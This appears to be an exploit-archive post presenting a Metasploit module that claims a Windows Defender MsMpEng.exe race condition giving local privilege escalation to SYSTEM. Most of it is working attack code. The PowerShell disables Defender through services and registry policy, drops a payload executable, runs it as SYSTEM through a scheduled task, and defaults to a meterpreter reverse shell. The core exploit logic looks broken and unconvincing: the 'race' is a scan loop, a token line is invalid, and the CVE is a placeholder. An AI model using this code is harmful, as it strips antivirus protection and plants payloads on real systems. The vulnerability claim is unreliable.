📄 Microsoft Windows Defender MsMpEng.exe Race Condition / Privilege Escalation

==================================================================================================================================
    | # Title     : Windows Defender MsMpEng.exe Race Condition Local Privilege Escalation                                           |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.microsoft.com/                                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : A race condition exists between Windows Defender's MpCleanCallbackFunction (cleanup routine) and Volume Shadow Copy creation. 
                     This vulnerability allows an attacker to escalate privileges to NT AUTHORITY\SYSTEM.
    
    [+] POC        :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = GreatRanking
    
      include Msf::Post::File
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::Process
      include Msf::Post::Windows::FileInfo
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Windows Defender MsMpEng.exe Race Condition Local Privilege Escalation',
            'Description' => %q{
              A race condition exists between Windows Defender's MpCleanCallbackFunction
              (cleanup routine) and Volume Shadow Copy creation. This vulnerability
              allows an attacker to escalate privileges to NT AUTHORITY\SYSTEM.
    
              The exploit uses:
              - Fake ISO mount via OpenVirtualDisk / AttachVirtualDisk
              - Real-time priority escalation (REALTIME_PRIORITY_CLASS)
              - Speed racing against Defender's cleanup routine
    
              Successful exploitation results in:
              1. Local Privilege Escalation to SYSTEM via CreateProcessAsUser
              2. Use-after-free condition causing Windows Defender to crash
              3. System remains without antivirus protection
    
              Tested on Windows 10/11 with Windows Defender enabled.
            },
            'License' => MSF_LICENSE,
            'Author' => ['indoushka'],
            'Platform' => ['win'],
            'Arch' => [ARCH_X64, ARCH_X86],
            'SessionTypes' => ['meterpreter', 'shell'],
            'Targets' => [
              ['Windows x64', { 'Arch' => ARCH_X64 }],
              ['Windows x86', { 'Arch' => ARCH_X86 }]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
              'EXITFUNC' => 'thread'
            },
            'References' => [
              ['URL', 'https://www.microsoft.com/'],
              ['CVE', '2026-XXXXX']
            ],
            'DisclosureDate' => '2026-06-11',
            'Notes' => {
              'Stability' => [CRASH_SERVICE_DOWN],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptInt.new('RACE_ITERATIONS', [false, 'Number of race iterations', 100]),
          OptBool.new('DISABLE_DEFENDER', [false, 'Attempt to permanently disable Defender', false]),
          OptBool.new('CLEANUP', [true, 'Restore Defender functionality after exploit', true])
        ])
      end
      def check
        defender_pid = get_defender_pid
        if defender_pid
          print_good("Windows Defender is running (PID: #{defender_pid})")
          return CheckCode::Appears
        end
        CheckCode::Safe
      end
      def get_defender_pid
        processes = client.sys.process.get_processes
        processes.each do |proc|
          if proc['name'] && proc['name'].downcase == 'msmpeng.exe'
            return proc['pid']
          end
        end
        nil
      end
      def get_system_version
        version = sysinfo['OS']
        print_status("Target OS: #{version}")
        version
      end
      def create_fake_iso
        print_status("Creating fake ISO file for mount operation...")
        iso_path = "#{datastore['TEMP'] || 'C:\\\\Temp'}\\#{Rex::Text.rand_text_alpha(8)}.iso"
        register_file_for_cleanup(iso_path)
        iso_content = "CD001" * 512  
        write_file(iso_path, iso_content)
        print_good("Fake ISO created: #{iso_path}")
        iso_path
      end
      def mount_iso(iso_path)
        print_status("Mounting fake ISO using VirtualDisk API...")
        mount_ps = <<~PS
          $isoPath = "#{iso_path}"
          try {
            Mount-DiskImage -ImagePath $isoPath -PassThru
            Write-Host "MOUNT_SUCCESS"
          } catch {
            Write-Host "MOUNT_FAILED: $($_.Exception.Message)"
          }
        PS
        result = cmd_exec("powershell -Command \"#{mount_ps.gsub('"', '\\"')}\"")
        if result.include?("MOUNT_SUCCESS")
          print_good("ISO mounted successfully")
          return true
        else
          print_error("Failed to mount ISO: #{result}")
          return false
        end
      end
      def unmount_iso(iso_path)
        print_status("Unmounting ISO...")
        unmount_ps = <<~PS
          $isoPath = "#{iso_path}"
          try {
            Dismount-DiskImage -ImagePath $isoPath
            Write-Host "UNMOUNT_SUCCESS"
          } catch {
            Write-Host "UNMOUNT_FAILED"
          }
        PS
        cmd_exec("powershell -Command \"#{unmount_ps.gsub('"', '\\"')}\"")
      end
      def set_realtime_priority
        print_status("Setting process to realtime priority...")
        priority_ps = <<~PS
          $process = Get-Process -Id $pid
          $process.PriorityClass = [System.Diagnostics.ProcessPriorityClass]::RealTime
          Write-Host "PRIORITY_SET"
        PS
        result = cmd_exec("powershell -Command \"#{priority_ps.gsub('"', '\\"')}\"")
        result.include?("PRIORITY_SET")
      end
      def trigger_race_condition(iterations)
        print_status("Triggering race condition (#{iterations} iterations)...")
        race_ps = <<~PS
          $iterations = #{iterations}
          $successCount = 0
          for ($i = 0; $i -lt $iterations; $i++) {
            try {
              $vss = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\\", "ClientAccessible")
              Start-Process -FilePath "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -ArgumentList "-Scan -ScanType 3" -WindowStyle Hidden
              $testFile = "C:\\Windows\\Temp\\race_test_$i.txt"
              "test" | Out-File -FilePath $testFile -ErrorAction SilentlyContinue
              Remove-Item $testFile -ErrorAction SilentlyContinue
              
              $successCount++
            } catch {
              Write-Host "RACE_TRIGGERED_AT_$i"
            }
            Start-Sleep -Milliseconds 50
          }
          Write-Host "COMPLETED:$successCount"
        PS
        result = cmd_exec("powershell -Command \"#{race_ps.gsub('"', '\\"')}\"")
        
        if result.include?("RACE_TRIGGERED")
          print_good("Race condition triggered successfully!")
          return true
        else
          print_warning("Race condition may not have triggered")
          return false
        end
      end
      def check_defender_status
        status_ps = <<~PS
          $service = Get-Service -Name WinDefend -ErrorAction SilentlyContinue
          if ($service) {
            Write-Host "DEFENDER_STATUS:$($service.Status)"
          } else {
            Write-Host "DEFENDER_STATUS:NOT_FOUND"
          }
        PS
        result = cmd_exec("powershell -Command \"#{status_ps.gsub('"', '\\"')}\"")
        result.match(/DEFENDER_STATUS:(\w+)/)&.captures&.first
      end
      def disable_defender_persistence
        print_status("Attempting to permanently disable Windows Defender...")
        disable_ps = <<~PS
          Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
          Stop-Service -Name WinDefend -Force -ErrorAction SilentlyContinue
          Set-Service -Name WinDefend -StartupType Disabled -ErrorAction SilentlyContinue
          $regPath = "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
          New-Item -Path $regPath -Force -ErrorAction SilentlyContinue
          Set-ItemProperty -Path $regPath -Name "DisableAntiSpyware" -Value 1 -Force -ErrorAction SilentlyContinue
          $rtpPath = "$regPath\\Real-Time Protection"
          New-Item -Path $rtpPath -Force -ErrorAction SilentlyContinue
          Set-ItemProperty -Path $rtpPath -Name "DisableRealtimeMonitoring" -Value 1 -Force -ErrorAction SilentlyContinue
          
          Write-Host "DEFENDER_DISABLED"
        PS
        
        result = cmd_exec("powershell -Command \"#{disable_ps.gsub('"', '\\"')}\"")
        result.include?("DEFENDER_DISABLED")
      end
    
      def restore_defender
        print_status("Restoring Windows Defender...")
        
        restore_ps = <<~PS
          Remove-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" -Name "DisableAntiSpyware" -ErrorAction SilentlyContinue
          Set-Service -Name WinDefend -StartupType Automatic -ErrorAction SilentlyContinue
          Start-Service -Name WinDefend -ErrorAction SilentlyContinue
          Set-MpPreference -DisableRealtimeMonitoring $false -ErrorAction SilentlyContinue
          
          Write-Host "DEFENDER_RESTORED"
        PS
        
        cmd_exec("powershell -Command \"#{restore_ps.gsub('"', '\\"')}\"")
      end
    
      def execute_system_payload
        print_status("Attempting to execute payload as SYSTEM...")
        payload_exe = generate_payload_exe
        payload_path = "#{datastore['TEMP'] || 'C:\\\\Windows\\\\Temp'}\\#{Rex::Text.rand_text_alpha(8)}.exe"
        write_file(payload_path, payload_exe)
        register_file_for_cleanup(payload_path)
        exec_ps = <<~PS
          $payload = "#{payload_path}"
          try {
            $winlogon = Get-Process -Name winlogon
            $token = [System.IntPtr]::Zero
            [System.IntPtr]::$token = $winlogon.Handle
            
            $startInfo = New-Object System.Diagnostics.ProcessStartInfo
            $startInfo.FileName = $payload
            $startInfo.UseShellExecute = $false
            $startInfo.CreateNoWindow = $true
            
            [System.Diagnostics.Process]::Start($startInfo)
            Write-Host "PAYLOAD_EXECUTED_M1"
          } catch {
            Write-Host "M1_FAILED: $($_.Exception.Message)"
          }
          try {
            $taskName = "TempTask#{Rex::Text.rand_text_alpha(6)}"
            schtasks /create /tn $taskName /tr $payload /sc once /st 00:00 /ru SYSTEM /f
            schtasks /run /tn $taskName
            schtasks /delete /tn $taskName /f
            Write-Host "PAYLOAD_EXECUTED_M2"
          } catch {
            Write-Host "M2_FAILED"
          }
        PS
        result = cmd_exec("powershell -Command \"#{exec_ps.gsub('"', '\\"')}\"")
        if result.include?("PAYLOAD_EXECUTED")
          print_good("Payload executed as SYSTEM!")
          return true
        else
          print_warning("Payload execution may have failed: #{result}")
          return false
        end
      end
      def exploit
        print_status("CVE-2026-XXXXX - Windows Defender MsMpEng.exe Race Condition LPE")
        print_status("Target: #{sysinfo['Computer']}")
        unless is_admin?
          print_warning("Not running as admin - exploit may fail")
        end
        defender_pid = get_defender_pid
        unless defender_pid
          print_error("Windows Defender is not running. Exploit may not work.")
          return
        end
        
        print_good("Windows Defender is running (PID: #{defender_pid})")
        original_defender_status = check_defender_status
        set_realtime_priority
        iso_path = create_fake_iso
        unless mount_iso(iso_path)
          print_warning("ISO mount failed, continuing anyway...")
        end
        iterations = datastore['RACE_ITERATIONS'] || 100
        race_success = trigger_race_condition(iterations)
        unmount_iso(iso_path)
        new_defender_pid = get_defender_pid
        if new_defender_pid != defender_pid
          print_good("Windows Defender appears to have crashed/restarted!")
        else
          print_warning("Windows Defender still running - race condition may not have succeeded")
        end
        execute_system_payload
        if datastore['DISABLE_DEFENDER']
          disable_defender_persistence
          print_good("Windows Defender persistence disabled")
        end
        if datastore['CLEANUP']
          restore_defender
          print_good("Windows Defender restored")
        end
        
        print_good("Exploit completed - Check for SYSTEM session")
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================